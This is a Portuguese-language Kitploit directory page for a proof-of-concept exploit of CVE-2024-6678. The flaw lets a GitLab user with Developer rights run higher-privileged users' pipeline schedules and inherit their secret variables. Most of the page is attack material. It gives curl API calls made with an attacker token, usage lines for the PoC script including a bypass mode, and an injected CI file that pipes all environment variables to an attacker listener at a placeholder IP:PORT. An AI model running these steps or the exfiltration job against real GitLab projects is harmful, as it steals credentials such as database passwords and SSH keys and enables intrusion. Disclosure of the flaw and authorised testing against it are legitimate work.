Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-6678 — PoC for CVE-2024-6678 | Kitploit
Ferramentas/GitHubGitHub/fallenskill1/cve-2024-6678
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC for CVE-2024-6678

Ver Repositório
41há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-6678 - GitLab: Gatilho de Usuário Arbitrário em Agendamentos de Pipeline

PoC para CVE-2024-6678

Descrição da Vulnerabilidade

O GitLab permite que usuários executem manualmente agendamentos de pipelines CI/CD (Pipeline Schedules) através do botão «Play». A vulnerabilidade consiste no fato de que a função «play» permite que qualquer usuário com direitos de Developer (e não apenas o proprietário do agendamento) execute o agendamento. Isso acarreta duas consequências:

  1. O desenvolvedor executa um agendamento criado e configurado por um usuário mais privilegiado (Maintainer / Owner).
  2. O pipeline executado herda as variáveis de ambiente do agendamento (incluindo sensíveis), mesmo que o Developer não tenha permissão para visualizá-las através da API.

O impacto final dependerá do que está armazenado nas variáveis do agendamento. Por exemplo, a variável DB_PASSWORD possibilita um dump completo do banco de dados, e SSH_PRIVATE_KEY possibilita obter RCE.

Passos para Reprodução

Pré-requisitos

  • GitLab CE/EE, versão de 8.14 até 17.1.6 / 17.2.4 / 17.3.1
  • Conta do atacante com direitos de Developer no projeto alvo
  • No projeto existe pelo menos um agendamento de pipeline ativo
  • O agendamento está direcionado para um branch não protegido (por exemplo, develop, staging) — ou no projeto existem agendamentos com formato de ref curto (bypass)

Importante: agendamentos em branches protegidos (por exemplo, refs/heads/main com proteção ativada) são bloqueados pela política PipelineSchedulePolicy#protected_ref e retornam HTTP 403. O ataque funciona para branches não protegidos — que é exatamente onde frequentemente são criados agendamentos de integração e staging com credenciais reais.

Passo 1. Obter a lista de agendamentos

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

Encontre um agendamento pertencente a um usuário mais privilegiado (Maintainer/Owner).

Passo 2. Executar o agendamento

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

Resposta esperada: HTTP 201 — pipeline adicionado à fila.

O pipeline é criado em nome do atacante (current_user), mas com todas as variáveis do agendamento (que podem incluir chaves de API, tokens, credenciais configuradas pelo proprietário).

HTTP 500 "Unable to schedule pipeline run immediately" — Comportamento esperado. É a deduplicação do Sidekiq (deduplicate :until_executed): a tarefa para este agendamento já está na fila de uma execução bem-sucedida anterior. Isso significa que o ataque já funcionou anteriormente e a tarefa está aguardando execução.

Passo 3. Confirmar a criação do pipeline em nome do atacante

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

Utilização do PoC

root@kitploit:~
# Execução básica: seleção automática de agendamento
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# Especificar um agendamento concreto
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# Via GraphQL (requer --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# Verificar bypass legacy-ref
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

Antes do trigger, o PoC substitui o .gitlab-ci.yml no develop por: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

Tudo isso chega ao seu listener

image_2026-05-21_19-05-58

Referências

  • GitLab Security Advisory
  • NVD: CVE-2024-6678
Baixar ferramenta